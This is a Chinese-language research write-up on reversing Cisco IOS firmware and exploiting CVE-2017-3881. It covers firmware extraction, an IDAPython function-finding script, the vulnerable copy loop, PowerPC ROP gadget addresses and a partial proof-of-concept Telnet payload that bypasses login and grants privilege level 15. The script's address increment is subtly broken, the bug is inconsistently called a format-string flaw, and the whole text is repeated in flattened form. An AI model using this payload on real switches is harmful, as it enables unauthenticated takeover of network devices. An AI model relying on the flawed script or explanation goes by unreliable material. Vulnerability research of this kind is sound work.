从CVE-2017-3881看Cisco IOS逆向
字数 1821 2025-08-06 18:07:44

Cisco IOS逆向分析与CVE-2017-3881漏洞研究

0x00 前言

本文档详细记录了对Cisco IOS系统的逆向分析方法,并以CVE-2017-3881漏洞为例,深入剖析了Cisco集群管理协议(CMP)的安全问题。内容涵盖固件提取、逆向工程、漏洞分析、利用开发和调试技术。

0x01 漏洞描述

CVE-2017-3881是Cisco IOS和IOS XE软件中集群管理协议(CMP)处理代码的漏洞,允许未经认证的远程攻击者重新加载设备或执行特权代码。漏洞成因:

  1. CMP协议错误地将Telnet选项处理扩展到所有Telnet连接,而非仅限于集群内部通信
  2. 对特定CMP Telnet选项的错误处理

影响设备包括:

  • Catalyst交换机系列
  • Embedded Service 2020交换机
  • 增强型第2/3层EtherSwitch服务模块
  • IE工业以太网交换机等

思科错误ID:CSCvd48893

0x02 CMP协议分析

CMP(集群管理协议)是Cisco设备集群内部通信的协议:

  • 集群由共享配置信息的设备组成
  • 使用虚拟IP地址(CMP地址)进行内部通信
  • 外部通信使用普通IP地址
  • 命令交换机在CMP和TCP/IP协议间转换

关键点:

  • CMP地址不响应ping
  • 集群内部使用Telnet作为信令和命令协议

0x03 环境搭建

交换机基本配置

  1. 配置VLAN接口:
Switch# configure terminal
Switch(config)# interface vlan 1
Switch(config-if)# ip address 192.168.1.1 255.255.255.0
Switch(config-if)# no shutdown
Switch(config-if)# end
  1. 分配端口给VLAN:
Switch(config)# interface GigabitEthernet 0/1
Switch(config-if)# switchport access vlan 1
Switch(config-if)# end
  1. 配置Telnet服务:
Switch(config)# line vty 0 4
Switch(config-line)# login
Switch(config-line)# password 111111

固件提取

通过FTP获取固件:

Switch# copy flash:c2960-lanbasek9-mz.122-55.SE11.bin ftp://username:password@192.168.1.1

0x04 固件逆向分析

固件结构

  • 文本段基址:0x00003000
  • 数据段基址:0x01900000
  • 架构:32位大端PowerPC(PPC)

逆向工具选择

  1. Ghidra:适合分析解压后的70文件

    • 设置入口点(entrypoint)
    • 配置内存映射(Memory Map)
    • 分割数据段和代码段
  2. IDA Pro:需要辅助脚本识别函数

    • 使用IDAPython自动识别PPC函数
    • 手动设置数据段和权限

IDAPython函数识别脚本

import idc
import struct
import idautils

def find_all(opcode_str):
    ret = []
    ea = idc.find_binary(0, 1, opcode_str)
    while ea != idc.BADADDR:
        ret.append(ea)
        ea = idc.find_binary(ea + 4, 1, opcode_str)
    return ret

def define_functions():
    prologues = ["stwu", "lhz", "li", "cmpwi", "lis"]
    print("Finding all signatures")
    ea = 0
    opcodes = set()
    
    funcea = idc.get_segm_start(ea)
    while (funcea < idc.get_segm_end(ea)):
        dis_text = idc.generate_disasm_line(funcea, 1)
        we_like_it = False
        
        for prologue in prologues:
            if prologue in dis_text:
                we_like_it = True
                
        if we_like_it:
            opcodes.add(idc.Dword(funcea))
        funcea += 4
        funcea += 1
    
    while len(opcodes) > 0:
        opcode_bin = opcodes.pop()
        opcode_str = hex(opcode_bin)
        matches = find_all(opcode_str)
        
        for matchea in matches:
            if not idc.get_func_name(matchea):
                idc.create_insn(matchea)
                idc.add_func(matchea)

0x05 漏洞分析

漏洞定位

关键字符串:"CISCO_KITS"

char * FUN_0004ecf0(void) {
    return "CISCO_KITS";
}

漏洞函数分析

漏洞位于格式化字符串处理函数中,关键问题:

  1. 两个%s格式化字符串无长度检查
  2. 循环复制数据时无边界检查
for (j = *v16; j != ':'; j = *v16) {
    v22[v15++] = j;
    ++v16;
}

溢出长度:0x70+4=0x74(116字节)

利用技术

由于PPC架构限制,采用ROP技术:

  1. 覆盖关键函数指针,使其返回特定值
  2. 利用多个gadget构造调用链
  3. 最终修改telnet权限检查逻辑

关键gadget示例:

  • 0x000037b4: 加载寄存器并返回
  • 0x00dffbe8: 存储寄存器值
  • 0x0006788c: 加载寄存器并返回

0x06 漏洞利用

PoC代码结构

payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116  # padding
payload += '\x00\x00\x37\xb4'  # first gadget
payload += '\x02\x2c\x8b\x74'  # address of pointer
payload += '\x00\x00\x99\x80'  # function that returns 1
payload += 'BBBB'  # padding
payload += '\x00\xdf\xfb\xe8'  # second gadget
...  # additional ROP chain

利用效果

成功利用后,telnet服务将:

  1. 无需密码即可登录
  2. 直接获得特权模式(privilege 15)

0x07 调试技术

调试环境搭建

  1. 使用串口连接设备
  2. 发送"gdb kernel"命令启动调试模式
  3. 使用Python脚本与调试接口交互

调试脚本关键功能

def GdbCommand(command):
    ser.write('{}'.format(checksum(command)))
    if command == 'c':
        return ''
    out = ''
    char = ''
    while char != "#":
        char = ser.read(1)
        out = out + char
    ser.read(2)
    newrle = decodeRLE(out)
    return newrle.decode()

支持功能:

  • 寄存器读写
  • 内存读写
  • 断点设置
  • 单步执行
  • 内存转储

调试技巧

  1. 断点设置后,原始指令会被替换为trap指令
  2. 需要手动恢复原始指令
  3. 寄存器状态可能异常,需关注内存变化

0x08 总结

关键知识点

  1. Cisco IOS逆向特点:

    • 非标准固件格式
    • PPC大端架构
    • 需要手动设置代码/数据段
  2. 漏洞利用要点:

    • 通过Telnet协议触发
    • 利用格式化字符串漏洞
    • PPC架构下的ROP构造
  3. 调试难点:

    • 串口通信限制
    • 调试命令响应解析
    • 寄存器状态管理

防御建议

  1. 禁用不必要的Telnet服务
  2. 及时更新固件补丁
  3. 限制网络访问控制
  4. 使用SSH替代Telnet

附录

常用命令参考

命令 描述
show version 查看固件版本和内存布局
copy flash:... ftp:... 导出固件
configure terminal 进入配置模式
interface vlan 1 配置VLAN接口

工具列表

  1. 逆向分析:

    • Ghidra
    • IDA Pro + PPC插件
    • binwalk
  2. 调试工具:

    • 串口调试脚本
    • GDB(PPC版本)
    • Putty(串口连接)
  3. 漏洞利用:

    • Python Telnet客户端
    • ROP gadget搜索工具(ropper)
Cisco IOS逆向分析与CVE-2017-3881漏洞研究 0x00 前言 本文档详细记录了对Cisco IOS系统的逆向分析方法,并以CVE-2017-3881漏洞为例,深入剖析了Cisco集群管理协议(CMP)的安全问题。内容涵盖固件提取、逆向工程、漏洞分析、利用开发和调试技术。 0x01 漏洞描述 CVE-2017-3881是Cisco IOS和IOS XE软件中集群管理协议(CMP)处理代码的漏洞,允许未经认证的远程攻击者重新加载设备或执行特权代码。漏洞成因: CMP协议错误地将Telnet选项处理扩展到所有Telnet连接,而非仅限于集群内部通信 对特定CMP Telnet选项的错误处理 影响设备包括: Catalyst交换机系列 Embedded Service 2020交换机 增强型第2/3层EtherSwitch服务模块 IE工业以太网交换机等 思科错误ID:CSCvd48893 0x02 CMP协议分析 CMP(集群管理协议)是Cisco设备集群内部通信的协议: 集群由共享配置信息的设备组成 使用虚拟IP地址(CMP地址)进行内部通信 外部通信使用普通IP地址 命令交换机在CMP和TCP/IP协议间转换 关键点: CMP地址不响应ping 集群内部使用Telnet作为信令和命令协议 0x03 环境搭建 交换机基本配置 配置VLAN接口: 分配端口给VLAN: 配置Telnet服务: 固件提取 通过FTP获取固件: 0x04 固件逆向分析 固件结构 文本段基址:0x00003000 数据段基址:0x01900000 架构:32位大端PowerPC(PPC) 逆向工具选择 Ghidra :适合分析解压后的70文件 设置入口点(entrypoint) 配置内存映射(Memory Map) 分割数据段和代码段 IDA Pro :需要辅助脚本识别函数 使用IDAPython自动识别PPC函数 手动设置数据段和权限 IDAPython函数识别脚本 0x05 漏洞分析 漏洞定位 关键字符串:"CISCO_ KITS" 漏洞函数分析 漏洞位于格式化字符串处理函数中,关键问题: 两个 %s 格式化字符串无长度检查 循环复制数据时无边界检查 溢出长度:0x70+4=0x74(116字节) 利用技术 由于PPC架构限制,采用ROP技术: 覆盖关键函数指针,使其返回特定值 利用多个gadget构造调用链 最终修改telnet权限检查逻辑 关键gadget示例: 0x000037b4: 加载寄存器并返回 0x00dffbe8: 存储寄存器值 0x0006788c: 加载寄存器并返回 0x06 漏洞利用 PoC代码结构 利用效果 成功利用后,telnet服务将: 无需密码即可登录 直接获得特权模式(privilege 15) 0x07 调试技术 调试环境搭建 使用串口连接设备 发送"gdb kernel"命令启动调试模式 使用Python脚本与调试接口交互 调试脚本关键功能 支持功能: 寄存器读写 内存读写 断点设置 单步执行 内存转储 调试技巧 断点设置后,原始指令会被替换为trap指令 需要手动恢复原始指令 寄存器状态可能异常,需关注内存变化 0x08 总结 关键知识点 Cisco IOS逆向特点: 非标准固件格式 PPC大端架构 需要手动设置代码/数据段 漏洞利用要点: 通过Telnet协议触发 利用格式化字符串漏洞 PPC架构下的ROP构造 调试难点: 串口通信限制 调试命令响应解析 寄存器状态管理 防御建议 禁用不必要的Telnet服务 及时更新固件补丁 限制网络访问控制 使用SSH替代Telnet 附录 常用命令参考 | 命令 | 描述 | |------|------| | show version | 查看固件版本和内存布局 | | copy flash:... ftp:... | 导出固件 | | configure terminal | 进入配置模式 | | interface vlan 1 | 配置VLAN接口 | 工具列表 逆向分析: Ghidra IDA Pro + PPC插件 binwalk 调试工具: 串口调试脚本 GDB(PPC版本) Putty(串口连接) 漏洞利用: Python Telnet客户端 ROP gadget搜索工具(ropper)